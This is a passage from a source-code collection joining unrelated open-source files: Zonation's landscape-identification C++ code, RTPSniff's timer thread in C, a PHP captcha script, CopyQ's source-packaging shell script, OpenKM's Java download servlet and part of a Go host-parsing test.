mat = matrix(0, nwc+1, 0, map_cnt);
if (!mat) {
ShowMessage("Out of memory when doing LSIdent");
return;
}
for(int nw=0; nw<=nwc; nw++) {
nwarea[nw]=0;
nwrank[nw]=0.0f;
nwx[nw]=0.0f;
nwy[nw]=0.0f;
for(int sp=0; sp<map_cnt; sp++)
mat[nw][sp]=0.0f;
}
for (size_t y=0; y<yd; y++) {
for (size_t x=0; x<xd; x++) {
// make sure the mask doesn't include "missing" cells
if (sol[y][x] < 0.0f)
continue;
int unit_idx = LSI_maskmap.m[y][x];
if (unit_idx <= 0 || unit_idx >= spot_cnt)
continue;
nwarea[unit_idx]++;
nwx[unit_idx] += x;
nwy[unit_idx] += y;
nwrank[unit_idx] += sol[y][x];
// float* rowp = &vmat[y][x][0]; // COMPACT_VMAT
Biodiv_Features_Occur_Container& rowp = vmat[y][x];
if (rowp)
//for(size_t spp_idx=0; spp_idx<map_cnt; spp_idx++)
for(size_t spp_idx=rowp.first(); spp_idx!=rowp.overflow(); spp_idx=rowp.next(spp_idx))
if (rowp[spp_idx] > .0f)
mat[unit_idx][spp_idx] += rowp[spp_idx];
}
}
// And the nwout raster (variable nwm) is not generated (it's = LSImask)
}
void print_network_data()
{
int loop, nw, sp, num, c10, c1, c01, c001, c0001, sp_at_zero;
float **mat, nwtot;
FILE *f;
f=fopen(LSIDfn.toUtf8().constData(), "w+t");
if (!f)
{
ShowMessage("Could not open output file " + LSIDfn);
return;
}
std::vector<int> nwarea;
std::vector<float> nwrank, nwx, nwy;
if (LSM_minus1_mode) {
// All params by ref./output
get_fake_networks_from_mask(nwarea, nwx, nwy, nwrank, mat);
} else {
try {
nwarea.resize(nwc+1, 0);
nwrank.resize(nwc+1, 0);
nwrank.resize(nwc+1, 0);
nwx.resize(nwc+1, 0);
nwy.resize(nwc+1, 0);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
// sprintf(txt, "nwc=%i spots=%i",nwc, spot_cnt);
// ShowMessage(txt);
mat = matrix(0, nwc+1, 0, map_cnt);
if (!mat)
{
ShowMessage("Out of memory when doing LSIdent");
fclose(f);
return;
}
for(nw=0; nw<=nwc; nw++)
{
nwarea[nw]=0;
nwrank[nw]=0.0f;
nwx[nw]=0.0f;
nwy[nw]=0.0f;
for(sp=0; sp<map_cnt; sp++)
mat[nw][sp]=0.0f;
}
for(loop=1; loop<spot_cnt; loop++)
{
num = spots[loop].nwn;
if (num == -1)
continue;
for(sp=0; sp<map_cnt; sp++)
mat[num][sp] += spots[loop].bdv[sp]*spots[loop].area;
nwarea[num] += spots[loop].area;
nwrank[num] += spots[loop].rank;
nwx[num] += spots[loop].mean_gx;
nwy[num] += spots[loop].mean_gy;
}
}
std::string nets_or_units;
if (LSM_minus1_mode)
nets_or_units = "units";
else
nets_or_units = "networks";
fprintf(f, "Most important biodiversity features (e.g. species) in %s; those occurring at a 1%%+ level\n", nets_or_units.c_str());
fprintf(f, "of original distribution\n");
std::string net_or_unit;
if (LSM_minus1_mode)
net_or_unit = "Unit";
else
net_or_unit = "Network";
fprintf(f, "%s Area Mean-Rank X Y Spp_distribution_sum spp occurring at >10%% >1%% >0.1%% >0.01%% >0.001%%\n", net_or_unit.c_str());
std::vector<float> sptot;
try {
sptot.resize(map_cnt, 0);
} catch(std::bad_alloc const& ex) {
Form1->Memo1->Lines->Add("Out of memory in landscape identification: "+String(ex.what()));
}
float tottot=0.0f;
for(nw=1; nw<nwc; nw++)
{
// do not calc/output results for empty/missing unit numbers
if (LSM_minus1_mode && nwarea[nw]<=0)
continue;
c10 = c1 = c01 = c001 = c0001 = 0;
nwtot=0.0f;
for(sp=0; sp<map_cnt; sp++)
{
nwtot += mat[nw][sp];
sptot[sp] += mat[nw][sp];
if (mat[nw][sp]>0.1f)
{
c10++;
c1++;
c01++;
c001++;
c0001++;
}
else if (mat[nw][sp]>0.01f)
{
c1++;
c01++;
c001++;
c0001++;
}
else if (mat[nw][sp]>0.001f)
{
c01++;
c001++;
c0001++;
}
else if (mat[nw][sp]>0.0001f)
{
c001++;
c0001++;
}
else if (mat[nw][sp]>0.00001f)
{
c0001++;
}
}
tottot += nwtot;
// nw area rnk x y tot
fprintf(f, "%-5i %-6i %-6.3f %-6.3f %-6.3f %-6.3f %-5i %-5i %-5i %-5i %-5i\n",
nw, nwarea[nw], nwrank[nw]/nwarea[nw], nwx[nw]/nwarea[nw], nwy[nw]/nwarea[nw],
nwtot, c10, c1, c01, c001, c0001);
for(sp=0; sp<map_cnt; sp++)
{
if (mat[nw][sp]>0.01f)
fprintf(f, " Feature %s, %-5.2f%% of full distribution\n",
spp[sp].fname.toUtf8().constData(),100*mat[nw][sp]);
}
// fprintf(f, "\n");
}
fprintf(f, "Repeat without spp info for easy import\n");
fprintf(f,"%s Area Mean-Rank X Y Spp_distribution_sum spp occurring at >10%% >1%% >0.1%% >0.01%% >0.001%%\n", net_or_unit.c_str());
//tottot=0.0f;
for(nw=1; nw<nwc; nw++)
{
// do not cal/output results for empty/missing unit numbers
if (LSM_minus1_mode && nwarea[nw]<=0)
continue;
c10 = c1 = c01 = c001 = c0001 = 0;
nwtot=0.0f;
for(sp=0; sp<map_cnt; sp++)
{
nwtot += mat[nw][sp];
// would be the second time!
//sptot[sp] += mat[nw][sp];
if (mat[nw][sp]>0.1f)
{
c10++;
c1++;
c01++;
c001++;
c0001++;
}
else if (mat[nw][sp]>0.01f)
{
c1++;
c01++;
c001++;
c0001++;
}
else if (mat[nw][sp]>0.001f)
{
c01++;
c001++;
c0001++;
}
else if (mat[nw][sp]>0.0001f)
{
c001++;
c0001++;
} else if (mat[nw][sp]>0.00001f)
{
c0001++;
}
}
// this would make tottot 2x the true totot
//tottot += nwtot;
// nw area rnk x y tot
fprintf(f, "%-5i %-6i %-6.3f %-6.3f %-6.3f %-6.3f %-5i %-5i %-5i %-5i %-5i\n",
nw, nwarea[nw], nwrank[nw]/nwarea[nw], nwx[nw]/nwarea[nw], nwy[nw]/nwarea[nw],
nwtot, c10, c1, c01, c001, c0001);
}
fprintf(f, "\n\nAverage proportion remaining over all spp in %s = %f\n",nets_or_units.c_str(), tottot/map_cnt);
sp_at_zero=0;
for(sp=0; sp<map_cnt; sp++)
{
if (sptot[sp]<=0.0f)
sp_at_zero++;
}
fprintf(f, "Count of biodiversity features (e.g. species) with nothing remaining in the network = %i\n",sp_at_zero);
fprintf(f, "Total proportion and sum remaining for biodiversity features\n");
for(sp=0; sp<map_cnt; sp++)
{
fprintf(f, "%s %-5.4f %0.4f\n",
spp[sp].fname.toUtf8().constData(), sptot[sp], sptot[sp]*spp[sp].prob_sum);
}
if (LSM_minus1_mode)
fprintf(f, "\n\nBiological data of %i %s.\n",nwc-1, nets_or_units.c_str());
else
fprintf(f, "\n\nBiological data of %i %s (spots=%i).\n",nwc-1, nets_or_units.c_str(), spot_cnt-1);
fprintf(f, "%s x biodiversity features matrix\n", nets_or_units.c_str());
if (LSM_minus1_mode)
fprintf(f, "Unit_number area[cells] sp_data .....\n");
else
fprintf(f, "Nw_number area[cells] sp_data .....\n");
for(nw=1; nw<nwc; nw++)
{
// do not calc/output results for empty/missing unit numbers
if (LSM_minus1_mode && nwarea[nw]<=0)
continue;
fprintf(f, "%-5i %-6i ", nw, nwarea[nw]);
for(sp=0; sp<map_cnt; sp++)
fprintf(f,"%-6.4f ", mat[nw][sp]);
fprintf(f, "\n");
}
fclose(f);
free_matrix(mat, 0, nwc+1, 0, map_cnt);
}
bool read_LSI_mask(int top_fraction_mode)
{
int x, y;
LSI_maskmap.normalize=false;
if (!LSI_maskmap.load_from_file(LSImask, mask_data, area_mask.m))
{
Form1->Memo1->Lines->Add("************** ERROR ***************");
Form1->Memo1->Lines->Add(" FAILURE attempting LSI mask map load.");
return false;
}
Form1->Memo1->Lines->Add("LSI mask map loaded.");
val_th = 1.0f-top_percent;
ccnt = 0;
for(y=0; y<yd; y++)
{
for(x=0; x<xd; x++)
{
if (LSI_maskmap.m[y][x]>=1)
{
if (top_fraction_mode)
{
if (sol[y][x]>=val_th)
{
cm[y][x]=0;
ccnt++;
}
else
cm[y][x]=-1;
}
else
{
cm[y][x]=0;
ccnt++;
}
}
else
cm[y][x]=-1;
}
}
Form1->Memo1->Lines->Add("Potential cells count = "+IntToStr(ccnt));
return true;
}
int LSIdent(int LSI_mode)
{
const size_t MAX_STRLEN = 2048;
char txt[MAX_STRLEN];
Form1->Memo1->Lines->Add("");
Form1->Memo1->Lines->Add("");
Form1->Memo1->Lines->Add("NEW LANDSCAPE IDENTIFICATION ANALYSIS");
// This is done now in the visitor class in post_process.cpp
//top_percent = StrToFloat(Form1->Edit4->Text)/100.0f;
//min_percent = StrToFloat(Form1->Edit5->Text)/100.0f;
//max_dist = StrToFloat(Form1->Edit6->Text);
//min_simil = StrToFloat(Form1->Edit7->Text);
//LSIRfn = Form1->Edit8->Text;
bool lsi_mask_ok = true;
if (LSI_mode==0) // "LSB"
{
sprintf(txt, "Running LSIdent with top%%=%0.3f min%%=%0.3f max-d=%0.3f min-s=%0.3f",
top_percent*100, min_percent*100, max_dist, min_simil);
Form1->Memo1->Lines->Add(txt);
Form1->Memo1->Lines->Add("1. Getting candidate cells.");
get_candidate_cells();
}
else if (LSI_mode==1) // "LSM"
{
if (0.0f > max_dist)
{
LSM_minus1_mode = true;
sprintf(txt, "Running LSIdent with mask file (%s). Note: LSM special case with max. distance -1, ignoring top%%=%0.3f and using whole landscape",
LSImask.toStdString().c_str(), top_percent*100);
Form1->Memo1->Lines->Add(txt);
top_percent = 1.0f;
}
else
{
sprintf(txt, "Running LSIdent with mask file (%s) max-d=%0.3f min-s=%0.3f",
LSImask.toStdString().c_str(), max_dist, min_simil);
Form1->Memo1->Lines->Add(txt);
Form1->Memo1->Lines->Add("1. Reading relevant areas from mask file "+Form1->Edit42->Text);
}
lsi_mask_ok = read_LSI_mask(0);
if (!lsi_mask_ok) {
Form1->Memo1->Lines->Add("ERROR! failed to read LSM areas from mask file: " + LSImask);
}
}
else // 2==LSI_mode "LSB"
{
sprintf(txt, "Running LSIdent for top fraction within masked area, mask file %s fract=%0.4f max-d=%0.3f min-s=%0.3f",
LSImask.toStdString().c_str(), top_percent, max_dist, min_simil);
Form1->Memo1->Lines->Add(txt);
Form1->Memo1->Lines->Add("1. Reading relevant areas from mask file "+Form1->Edit42->Text);
lsi_mask_ok = read_LSI_mask(1);
if (!lsi_mask_ok) {
Form1->Memo1->Lines->Add("ERROR! failed to read LSB areas from mask file: " + LSImask);
}
}
if (!lsi_mask_ok) {
Form1->Memo1->Lines->Add("Please fix the mask file name. No results will be generated for this post-processing analysis.");
return false;
}
if (!LSM_minus1_mode) {
// free only if traditional modes
LSI_maskmap.free_matrix_m();
Form1->Memo1->Lines->Add("2. Identifying spots.");
get_spots(); // spots[s].bdv[sp] = 0.0f; sisaltaa prop of sp spotissa
Form1->Memo1->Lines->Add("3. Finding networks.");
get_networks();
}
print_network_data();
if (LSM_minus1_mode) {
LSI_maskmap.free_matrix_m();
} else {
#if 0
// obsmap[0].show_spots(Form1->Image1->Picture->Bitmap, cm);
obsmap[0].show_spots(Form1->Image1->Picture->Bitmap, nwm, 0);
#endif
obsmap[0].export_GIS_INT(nwm, LSIRfn);
// the spots[].bdv are not allocated in LSM "-1 distance" mode
for(int loop=0; loop<spots.size(); loop++)
{
if (spots[loop].bdv)
delete[] spots[loop].bdv;
spots[loop].bdv=0;
}
}
Screen->Cursor=crDefault;
return true;
}
void LSCAnalysis(float f1, float f2, const String& cfn, const String& comp_outfn)
{
//float f1, f2;
//String cfn, comp_outfn;
float f1cells, f2cells, bothcells, rodiff;
class GridMap cmpmap;
int x, y, z1, z2, rcnt;
bool f1ok, f2ok;
DecimalSeparator='.';
//cfn = Edit23->Text;
cmpmap.set_no_normalize();
if (!cmpmap.load_from_file(cfn, mask_data, area_mask.m))
{
ShowMessage("Could not load given comparison solution");
return;
}
Form1->Memo1->Lines->Add("");
Form1->Memo1->Lines->Add("Solution comparison stats");
//f1 = StrToFloat(Edit22->Text);
//f2 = StrToFloat(Edit24->Text);
Form1->Memo1->Lines->Add("S1 cut level = "+FloatToStrF(f1, ffFixed, 7, 4));
Form1->Memo1->Lines->Add("S2 cut level = "+FloatToStrF(f2, ffFixed, 7, 4));
f1cells=f2cells=bothcells=rodiff=0.0f;
z1=z2=rcnt=0;
for(y=0; y<yd; y++)
for(x=0; x<xd; x++)
{
f1ok=f2ok=false;
if (f1>0.0f)
{
if ((sol[y][x]!=-1) && (sol[y][x]>=(1.0f-f1)))
f1ok=true;
}
else
{
if ((sol[y][x]!=-1) && (sol[y][x]<=(-f1)))
f1ok=true;
}
if (f2>0.0f)
{
if ((cmpmap.m[y][x]!=-1) && (cmpmap.m[y][x]>=(1.0f-f2)))
f2ok=true;
}
else
{
if ((cmpmap.m[y][x]>0.0f) && (cmpmap.m[y][x]<=(-f2)))
f2ok=true;
}
if (f1ok)
f1cells++;
if (f2ok)
f2cells++;
if (f1ok && f2ok)
bothcells++;
if (sol[y][x]==0.0f)
z1++;
if (cmpmap.m[y][x]==0.0f)
z2++;
if ((sol[y][x]!=-1) && (cmpmap.m[y][x]!=0.0f))
{
++rcnt;
rodiff+= fabs(sol[y][x]-cmpmap.m[y][x]);
}
nwm[y][x] = 0;
//if (Rmax[y][x]==-1)
if (-1 == status[y][x])
nwm[y][x] = -1;
else if (f1ok && f2ok)
nwm[y][x] = 1;
else if (f1ok)
nwm[y][x] = 2;
else if (f2ok)
nwm[y][x] = 3;
}
Form1->Memo1->Lines->Add("Cells in present solution fraction = " +IntToStr((int)f1cells));
Form1->Memo1->Lines->Add("Cells in comparison solution fraction = " +IntToStr((int)f2cells));
Form1->Memo1->Lines->Add("Cells included in both solutions = " +IntToStr((int)bothcells));
Form1->Memo1->Lines->Add("Initially removed in present solution = " +IntToStr(z1));
Form1->Memo1->Lines->Add("Initially removed in comparison solution = "+IntToStr(z2));
Form1->Memo1->Lines->Add("Similarity f1 = "+FloatToStrF(bothcells/f1cells, ffFixed, 7, 4));
Form1->Memo1->Lines->Add("Similarity f2 = "+FloatToStrF(bothcells/f2cells, ffFixed, 7, 4));
Form1->Memo1->Lines->Add("Average difference in removal order = "+FloatToStrF(rodiff/rcnt, ffFixed, 7, 4));
const size_t MAX_STR_LEN = 512;
char txt[MAX_STR_LEN];
sprintf(txt, "Overlap f1 = %0.4f, f1 = %0.4f. Average order diff=%0.4f. See also memo.",
bothcells/f1cells,bothcells/f2cells, rodiff/rcnt);
Form1->Memo1->Lines->Add(txt);
if (!bat_mode)
ShowMessage(txt);
if (Form1->CheckBox7->Checked)
{
#if 0
//comp_outfn = Edit29->Text;
obsmap[0].show_spots(Form1->Image1->Picture->Bitmap, nwm, 1);
#endif
obsmap[0].export_GIS_INT(nwm, comp_outfn);
}
}
| cbig/zonation-core | zig4/core/LSIdent.cpp | C++ | gpl-3.0 | 27,025 |
/* vim: set ts=8 sw=4 sts=4 et: */
/*======================================================================
Copyright (C) 2008,2009,2014 OSSO B.V. <[email protected]>
This file is part of RTPSniff.
RTPSniff is free software: you can redistribute it and/or modify it
under the terms of the GNU General Public License as published by the
Free Software Foundation, either version 3 of the License, or (at your
option) any later version.
RTPSniff is distributed in the hope that it will be useful, but WITHOUT
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
for more details.
You should have received a copy of the GNU General Public License along
with RTPSniff. If not, see <http://www.gnu.org/licenses/>.
======================================================================*/
#include "rtpsniff.h"
#include <assert.h>
#include <sys/time.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>
/* Settings */
#ifndef INTERVAL_SECONDS
# define INTERVAL_SECONDS 10 /* wake the storage engine every N seconds */
#endif /* INTERVAL_SECONDS */
#if INTERVAL_SECONDS < 2
# error INTERVAL_SECONDS be too low
#endif
#define TIMER__METHOD_NSLEEP 1
#define TIMER__METHOD_SEMAPHORE 2
#if !defined(USE_NSLEEP_TIMER) && (_POSIX_C_SOURCE >= 200112L || _XOPEN_SOURCE >= 600)
# define TIMER__METHOD TIMER__METHOD_SEMAPHORE
# include <errno.h>
# include <semaphore.h>
#else
# define TIMER__METHOD TIMER__METHOD_NSLEEP
#endif
static pthread_t timer__thread;
static struct memory_t *timer__memory;
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
static volatile int timer__done; /* whether we're done */
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
static sem_t timer__semaphore; /* semaphore to synchronize the threads */
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
static void *timer__run(void *thread_arg);
void timer_help() {
printf(
"/*********************"
" module: timer (interval) *******************************/\n"
"#%s USE_NSLEEP_TIMER\n"
"#define INTERVAL_SECONDS %" SCNu32 "\n"
"\n"
"Sleeps until the specified interval of %.2f minutes have passed and wakes up\n"
"to tell the storage engine to write averages.\n"
"\n"
"The USE_NSLEEP_TIMER define forces the module to use a polling sleep loop even\n"
"when the (probably) less cpu intensive and more accurate sem_timedwait()\n"
"function is available. The currently compiled in timer method is: %s\n"
"\n",
#ifdef USE_NSLEEP_TIMER
"define",
#else /* !USE_NSLEEP_TIMER */
"undef",
#endif
(uint32_t)INTERVAL_SECONDS, (float)INTERVAL_SECONDS / 60,
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
"n_sleep"
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
"semaphore"
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
);
}
int timer_loop_bg(struct memory_t *memory) {
pthread_attr_t attr;
/* Set internal config */
timer__memory = memory;
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
/* Initialize polling variable */
timer__done = 0;
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
/* Initialize semaphore */
if (sem_init(&timer__semaphore, 0, 0) != 0) {
perror("sem_init");
return -1;
}
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
/* We want default pthread attributes */
if (pthread_attr_init(&attr) != 0) {
perror("pthread_attr_init");
return -1;
}
/* Run thread */
if (pthread_create(&timer__thread, &attr, &timer__run, NULL) != 0) {
perror("pthread_create");
return -1;
}
#ifndef NDEBUG
fprintf(stderr, "timer_loop_bg: Thread %p started.\n", (void*)timer__thread);
#endif
return 0;
}
void timer_loop_stop() {
void *ret;
/* Tell our thread that it is time */
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
timer__done = 1;
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
sem_post(&timer__semaphore);
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
/* Get its exit status */
if (pthread_join(timer__thread, &ret) != 0)
perror("pthread_join");
#ifndef NDEBUG
fprintf(stderr, "timer_loop_stop: Thread %p joined.\n", (void*)timer__thread);
#endif
#if TIMER__METHOD == TIMER__METHOD_SEMAPHORE
/* Destroy semaphore */
if (sem_destroy(&timer__semaphore) != 0)
perror("sem_destroy");
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
}
/* The timers job is to run storage function after after every INTERVAL_SECONDS time. */
static void *timer__run(void *thread_arg) {
int first_run_skipped = 0; /* do not store the first run because the interval is wrong */
#ifndef NDEBUG
fprintf(stderr, "timer__run: Thread started.\n");
#endif
while (1) {
struct timeval current_time; /* current time is in UTC */
int sample_begin_time;
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
int sleep_useconds;
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
struct timespec new_time;
int ret;
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
int previously_active;
/* Get current time */
if (gettimeofday(¤t_time, NULL) != 0) {
perror("gettimeofday");
return (void*)-1;
}
/* Yes, we started sampling when SIGUSR1 fired, so this is correct */
sample_begin_time = current_time.tv_sec - (current_time.tv_sec % INTERVAL_SECONDS);
/* Calculate how long to sleep */
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
sleep_useconds = (1000000 *
(INTERVAL_SECONDS - (current_time.tv_sec % INTERVAL_SECONDS)) -
current_time.tv_usec);
# ifndef NDEBUG
fprintf(stderr, "timer__run: Current time is %i (%02i:%02i:%02i.%06i), "
"sleep planned for %i useconds.\n",
(int)current_time.tv_sec,
(int)(current_time.tv_sec / 3600) % 24,
(int)(current_time.tv_sec / 60) % 60,
(int)current_time.tv_sec % 60,
(int)current_time.tv_usec, sleep_useconds);
# endif /* NDEBUG */
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
new_time.tv_sec = sample_begin_time + INTERVAL_SECONDS;
new_time.tv_nsec = 0;
# ifndef NDEBUG
fprintf(stderr, "timer__run: Current time is %i (%02i:%02i:%02i.%06i), "
"sleep planned until %02i:%02i:%02i.\n",
(int)current_time.tv_sec,
(int)(current_time.tv_sec / 3600) % 24,
(int)(current_time.tv_sec / 60) % 60,
(int)current_time.tv_sec % 60,
(int)current_time.tv_usec,
(int)(new_time.tv_sec / 3600) % 24,
(int)(new_time.tv_sec / 60) % 60,
(int)new_time.tv_sec % 60);
# endif /* NDEBUG */
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
#if TIMER__METHOD == TIMER__METHOD_NSLEEP
/* The sleep in this thread won't wake up (EINTR) from a SIGALRM in the other
* thread. Pause/alarm won't work either. We use this crappy polling loop as
* an alternative. Observe that the semaphore below method is way more
* accurate and probably uses less cpu. */
while (!timer__done && sleep_useconds > 999999) {
sleep(1);
sleep_useconds -= 1000000;
}
if (timer__done)
break;
usleep(sleep_useconds);
#elif TIMER__METHOD == TIMER__METHOD_SEMAPHORE
/* The sem_timedwait function will sleep happily until the absolutely specified
* time has been reached. */
while ((ret = sem_timedwait(&timer__semaphore, &new_time)) == -1 && errno == EINTR)
continue; /* restart if interrupted by handler */
if (ret == 0)
break; /* if the semaphore was hit, we're done */
if (errno != ETIMEDOUT)
perror("sem_timedwait");
#endif /* TIMER__METHOD == TIMER__METHOD_SEMAPHORE */
#ifndef NDEBUG
if (gettimeofday(¤t_time, NULL) != 0) {
perror("gettimeofday");
return (void*)-1;
}
fprintf(stderr, "timer__run: Awake! Time is now %i (%02i:%02i:%02i.%06i).\n",
(int)current_time.tv_sec,
(int)(current_time.tv_sec / 3600) % 24,
(int)(current_time.tv_sec / 60) % 60,
(int)current_time.tv_sec % 60,
(int)current_time.tv_usec);
#endif
/* Poke other thread to switch memory */
previously_active = timer__memory->active;
raise(SIGUSR1);
sleep(1); /* wait a second to let other thread finish switching memory */
assert(previously_active != timer__memory->active);
if (first_run_skipped) {
/* Delegate the actual writing to storage. */
out_write(sample_begin_time, INTERVAL_SECONDS,
timer__memory->rtphash[previously_active]);
} else {
/* On first run, we started too late in the interval. Ignore those counts. */
first_run_skipped = 1;
}
/* Reset mem for next run */
sniff_release(&timer__memory->rtphash[previously_active]);
}
#ifndef NDEBUG
fprintf(stderr, "timer__run: Thread done.\n");
#endif
return 0;
}
| ossobv/rtpsniff | timer_interval.c | C | gpl-3.0 | 9,457 |
<?php
session_start();
include_once 'inc/vcode.inc.php';
$_SESSION['vcode']=vcode(100,40,30,4);
?> | TRyToDOit/CFCBBS | show_code.php | PHP | gpl-3.0 | 99 |
#!/bin/bash
version=$1
out=${2:-"copyq-${version}.tar.gz"}
version_file="src/common/version.cpp"
set -e
die () {
echo "ERROR: $*"
exit 1
}
grep -q '^# v'"$version"'$' "CHANGES.md" ||
die "CHANGES file doesn't contain changes for given version!"
grep -q '"'"$version"'"' "$version_file" ||
die "String for given version is missing in \"$version_file\" file!"
git archive --format=tar.gz --prefix="copyq-$version/" --output="$out" "v$version" ||
die "First arguments must be existing version (tag v<VERSION> must exist in repository)!"
echo "Created source package for version $version: $out"
size=$(stat --format="%s" "$out")
hash=$(md5sum "$out" | cut -d' ' -f 1)
echo " $hash $size $out"
| hluk/CopyQ | utils/create_source_package.sh | Shell | gpl-3.0 | 717 |
/**
* OpenKM, Open Document Management System (http://www.openkm.com)
* Copyright (c) 2006-2015 Paco Avila & Josep Llort
*
* No bytes were intentionally harmed during the development of this application.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write to the Free Software Foundation, Inc.,
* 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
*/
package com.openkm.servlet;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import com.openkm.util.FormatUtil;
import org.apache.commons.io.IOUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import com.openkm.api.OKMDocument;
import com.openkm.api.OKMRepository;
import com.openkm.bean.Document;
import com.openkm.core.Config;
import com.openkm.core.PathNotFoundException;
import com.openkm.core.RepositoryException;
import com.openkm.util.PathUtils;
import com.openkm.util.WebUtils;
/**
* Download Servlet
*/
public class DownloadServlet extends BasicSecuredServlet {
private static Logger log = LoggerFactory.getLogger(DownloadServlet.class);
private static final long serialVersionUID = 1L;
/**
*
*/
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
request.setCharacterEncoding("UTF-8");
String userId = request.getRemoteUser();
String path = WebUtils.getString(request, "path");
String uuid = WebUtils.getString(request, "uuid");
boolean inline = WebUtils.getBoolean(request, "inline");
InputStream is = null;
try {
// Now an document can be located by UUID
if (uuid != null && !uuid.isEmpty()) {
uuid = FormatUtil.sanitizeInput(uuid);
path = OKMRepository.getInstance().getNodePath(null, uuid);
} else if (path != null && !path.isEmpty()) {
path = FormatUtil.sanitizeInput(path);
}
if (path != null) {
Document doc = OKMDocument.getInstance().getProperties(null, path);
String fileName = PathUtils.getName(doc.getPath());
// Optinal append version to download ( not when doing checkout )
if (Config.VERSION_APPEND_DOWNLOAD) {
String versionToAppend = " rev " + OKMDocument.getInstance().getProperties(null,uuid).getActualVersion().getName();
String[] nameParts = fileName.split("\\.(?=[^\\.]+$)");
fileName = nameParts[0] + versionToAppend + "." + nameParts[1];
}
log.info("Download {} by {} ({})", new Object[] { path, userId, (inline ? "inline" : "attachment") });
is = OKMDocument.getInstance().getContent(null, path, false);
WebUtils.sendFile(request, response, fileName, doc.getMimeType(), inline, is);
} else {
response.setContentType("text/plain; charset=UTF-8");
PrintWriter out = response.getWriter();
out.println("Missing document reference");
out.close();
}
} catch (PathNotFoundException e) {
log.warn(e.getMessage(), e);
response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "PathNotFoundException: " + e.getMessage());
} catch (RepositoryException e) {
log.warn(e.getMessage(), e);
response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, "RepositoryException: " + e.getMessage());
} catch (Exception e) {
log.warn(e.getMessage(), e);
response.sendError(HttpServletResponse.SC_INTERNAL_SERVER_ERROR, e.getMessage());
} finally {
IOUtils.closeQuietly(is);
}
}
}
| papamas/DMS-KANGREG-XI-MANADO | src/main/java/com/openkm/servlet/DownloadServlet.java | Java | gpl-3.0 | 4,131 |
package mysqlgoutils
import (
"testing"
)
func TestSplitHostOptionalPortAndSchema(t *testing.T) {
assertSplit := func(addr, expectHost string, expectPort int, expectSchema string, expectErr bool) {
host, port, schema, err := SplitHostOptionalPortAndSchema(addr)
if host != expectHost {
t.Errorf("Expected SplitHostOptionalPortAndSchema(\"%s\") to return host of \"%s\", instead found \"%s\"", addr, expectHost, host)
}
if port != expectPort {
t.Errorf("Expected SplitHostOptionalPortAndSchema(\"%s\") to return port of %d, instead found %d", addr, expectPort, port)
}
if schema != expectSchema {
t.Errorf("Expected SplitHostOptionalPortAndSchema(\"%s\") to return schema of %d, instead found \"%s\"", addr, expectSchema, schema)
}
if expectErr && err == nil {
t.Errorf("Expected SplitHostOptionalPortAndSchema(\"%s\") to return an error, but instead found nil", addr)
} else if !expectErr && err != nil {
t.Errorf("Expected SplitHostOptionalPortAndSchema(\"%s\") to return NOT return an error, but instead found %s", addr, err)
}
}
assertSplit("", "", 0, "", true)
assertSplit("foo", "foo", 0, "", false)
assertSplit("1.2.3.4", "1.2.3.4", 0, "", false)
assertSplit("some.host:1234", "some.host", 1234, "", false)
assertSplit("some.host:text", "", 0, "", true)
assertSplit("some.host:1234:5678", "", 0, "", true)
assertSplit("some.host:0", "", 0, "", true)
assertSplit("some.host:-5", "", 0, "", true)
assertSplit("fe80::1", "", 0, "", true)
assertSplit("[fe80::1]", "[fe80::1]", 0, "", false)
assertSplit("[fe80::1]:3306", "[fe80::1]", 3306, "", false)
assertSplit("[fe80::bd0f:a8bc:6480:238b%11]", "[fe80::bd0f:a8bc:6480:238b%11]", 0, "", false)
assertSplit("[fe80::bd0f:a8bc:6480:238b%11]:443", "[fe80::bd0f:a8bc:6480:238b%11]", 443, "", false)
assertSplit("[fe80::bd0f:a8bc:6480:238b%11]:sup", "", 0, "", true)
assertSplit("[fe80::bd0f:a8bc:6480:238b%11]:123:456", "", 0, "", true)
assertSplit("|dbtest", "", 0, "", true)
assertSplit("1.2.3.4|", "", 0, "", true)
assertSplit("1.2.3.4|dbtest", "1.2.3.4", 0, "dbtest", false)
assertSplit("1.2.3.4:1234|dbtest", "1.2.3.4", 1234, "dbtest", false)
assertSplit("1.2.3.4:1234|dbtest|foo", "", 0, "", true)
assertSplit("some.host", "some.host", 0, "", false)
assertSplit("some.host|dbtest", "some.host", 0, "dbtest", false)
